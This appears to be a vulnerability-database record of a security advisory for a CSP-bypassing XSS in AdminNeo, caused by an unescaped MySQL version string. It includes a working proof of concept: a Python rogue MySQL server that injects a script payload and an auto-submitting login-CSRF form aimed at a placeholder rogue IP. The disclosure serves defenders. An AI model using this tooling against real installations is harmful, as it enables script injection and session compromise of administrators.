{"id":"GHSA-rx7m-wxwq-vxr9","aliases":["CVE-2026-96632"],"title":"AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"## Summary\n\nAdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.\n\nOriginally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj\n\n## Prerequisites\n\n- Target runs AdminNeo\n- Attacker controls a reachable MySQL server (a 80-line Python script)\n\n## Root Cause\n\n`admin/core/Admin.php`, lines 1285-1286:\n\n```php\necho script(\"let autocompletion;\\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('\" .\n    Connection::get()->getVersion() . \"', '\" . Connection::get()->getFlavor() . \"', autocompletion); });\");\n```\n\n`script()` wraps the output in `<script nonce=\"VALID_NONCE\">`. Return value of `Connection::get()->getVersion()` is not escaped.\n\n## Steps To Reproduce\n\n### 1. Build the environment\n\n**Dockerfile** (AdminNeo):\n\n```dockerfile\nFROM php:8.3-cli\nCOPY adminneo.php /var/www/adminneo.php\nWORKDIR /var/www\nEXPOSE 8081\nCMD [\"php\", \"-S\", \"0.0.0.0:8081\"]\n```\n\n**rogue_mysql.py** (fake MySQL server that accepts any login):\n\n```python\nimport socket, struct, threading\n\nPAYLOAD = \"1');alert(origin)//\"\n\n# Capability flags the client expects\nCAP_PROTOCOL_41     = 0x0200\nCAP_SECURE_CONNECTION = 0x8000\nCAP_PLUGIN_AUTH     = 0x00080000\nCAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION\nCAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)\n\ndef make_packet(seq, payload):\n    length = struct.pack(\"<I\", len(payload))[:3]\n    return length + bytes([seq]) + payload\n\ndef make_greeting(version_str):\n    pkt  = b\"\\x0a\"                                  # protocol version 10\n    pkt += version_str.encode() + b\"\\x00\"            # version string\n    pkt += struct.pack(\"<I\", 1)                      # connection id\n    pkt += b\"\\x41\" * 8                               # auth plugin data part 1\n    pkt += b\"\\x00\"                                   # filler\n    pkt += struct.pack(\"<H\", CAPS_LOW)               # capability flags lower\n    pkt += b\"\\x21\"                                   # charset utf8\n    pkt += struct.pack(\"<H\", 0x0002)                 # status flags\n    pkt += struct.pack(\"<H\", CAPS_HIGH)              # capability flags upper\n    pkt += b\"\\x15\"                                   # auth data length (21)\n    pkt += b\"\\x00\" * 10                              # reserved\n    pkt += b\"\\x41\" * 12 + b\"\\x00\"                    # auth plugin data part 2\n    pkt += b\"mysql_native_password\\x00\"              # auth plugin name\n    return make_packet(0, pkt)\n\ndef make_ok(seq):\n    pkt  = b\"\\x00\"          # OK marker\n    pkt += b\"\\x00\"          # affected rows\n    pkt += b\"\\x00\"          # last insert id\n    pkt += struct.pack(\"<H\", 0x0002)  # status flags\n    pkt += struct.pack(\"<H\", 0)       # warnings\n    return make_packet(seq, pkt)\n\ndef make_eof(seq):\n    pkt  = b\"\\xfe\"\n    pkt += struct.pack(\"<H\", 0)       # warnings\n    pkt += struct.pack(\"<H\", 0x0002)  # status flags\n    return make_packet(seq, pkt)\n\ndef make_err(seq, msg=b\"not supported\"):\n    pkt  = b\"\\xff\"\n    pkt += struct.pack(\"<H\", 1045)\n    pkt += b\"#HY000\"\n    pkt += msg\n    return make_packet(seq, pkt)\n\ndef handle(conn):\n    conn.sendall(make_greeting(PAYLOAD))\n    try:\n        conn.recv(4096)     # client login request\n    except Exception:\n        conn.close()\n        return\n    conn.sendall(make_ok(2))  # accept login\n\n    # Answer any queries Adminer sends after login\n    while True:\n        try:\n            data = conn.recv(4096)\n            if not data:\n                break\n            seq = data[3] + 1\n            # Send ERR for all queries (Adminer still has the version in memory)\n            conn.sendall(make_err(seq))\n        except Exception:\n            break\n    conn.close()\n\nsrv = socket.socket()\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 3307))\nsrv.listen(5)\nprint(\"[*] Rogue MySQL on :3307 - version: \" + PAYLOAD)\nwhile True:\n    conn, addr = srv.accept()\n    print(f\"[+] Connection from {addr}\")\n    threading.Thread(target=handle, args=(conn,)).start()\n```\n\n```shell\n# Terminal 1: start Adminer\ndocker build -t adminer-xss .\ndocker run -d -p 8081:8081 --name adminer-xss adminer-xss\n\n# Terminal 2: start rogue MySQL\npython3 rogue_mysql.py\n```\n\n### 2. Trigger the XSS\n\nOpen a browser and navigate to `http://localhost:8081/adminneo.php`:\n\n1. Select driver: **MySQL**\n2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)\n3. Username: `root`\n4. Password: `x`\n5. Click Login.\n\nThe rogue server accepts the login. AdminNeo renders the dashboard and includes:\n\n```html\n<script nonce=\"REAL_NONCE\">let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>\n```\n\nThe browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.\n\n### 3. Trigger it via Login CSRF\n\nThe login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:\n\n```html\n<form id=\"f\" method=\"POST\" action=\"http://TARGET/adminneo.php\">\n  <input name=\"auth[driver]\" value=\"mysql\">\n  <input name=\"auth[server]\" value=\"ROGUE_IP:3307\">\n  <input name=\"auth[username]\" value=\"root\">\n  <input name=\"auth[password]\" value=\"x\">\n</form>\n<script>document.getElementById('f').submit()</script>\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!","severity":"high","score":8.2,"published":"2026-10-30T22:52:23.000Z","modified":"2026-10-30T23:00:04.305Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","sources":[{"name":"OSV · GHSA-rx7m-wxwq-vxr9","url":"https://osv.dev/vulnerability/GHSA-rx7m-wxwq-vxr9"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"5.5.1"}],"type":"ECOSYSTEM"}],"versions":["v4.10.0","v4.11.0","v4.12.0","v4.13.0","v4.14.0","v4.15.0","v4.16.0","v4.16.1","v4.17.0","v4.17.1","v4.17.2","v4.2.0","v4.2.1","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.3.0","v4.3.1","v4.4.0","v4.5.0","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.7.9","v4.8.0","v4.8.1","v4.8.2","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v5.0.0","v5.0.0-rc","v5.1.0","v5.1.1","v5.2.0","v5.2.1","v5.3.0","v5.4.0","v5.4.1","v5.5.0"],"fixed":["5.5.1"]}],"sourceAffected":[],"references":["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9","https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj","https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd","https://github.com/adminneo-org/adminneo","https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"],"sources":[{"name":"OSV","id":"GHSA-rx7m-wxwq-vxr9","modified":"2026-10-30T23:00:04.305241731Z","url":"https://osv.dev/vulnerability/GHSA-rx7m-wxwq-vxr9"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.2}],"products":[],"remediation":[],"observedAt":"2026-10-30T23:33:31.937Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T06:35:33.858Z"},"coverage":[{"source":"NVD","status":"no-result","checkedAt":"2026-10-30T23:50:37.557Z","attemptedAt":"2026-10-30T23:50:37.557Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-30T23:50:37.746Z","attemptedAt":"2026-10-30T23:50:37.746Z"},{"source":"EUVD","status":"no-result","checkedAt":"2026-10-30T23:50:36.468Z","attemptedAt":"2026-10-30T23:50:36.468Z"},{"source":"EPSS","status":"no-result","checkedAt":"2026-10-30T23:50:37.280Z","attemptedAt":"2026-10-30T23:50:37.280Z"}],"evidence":[{"source":"GitHub Advisory Database","id":"GHSA-rx7m-wxwq-vxr9","url":"https://github.com/advisories/GHSA-rx7m-wxwq-vxr9","modified":"2026-10-30T22:52:23Z","checkedAt":"2026-10-30T23:50:37.746Z"}],"aiSummary":null}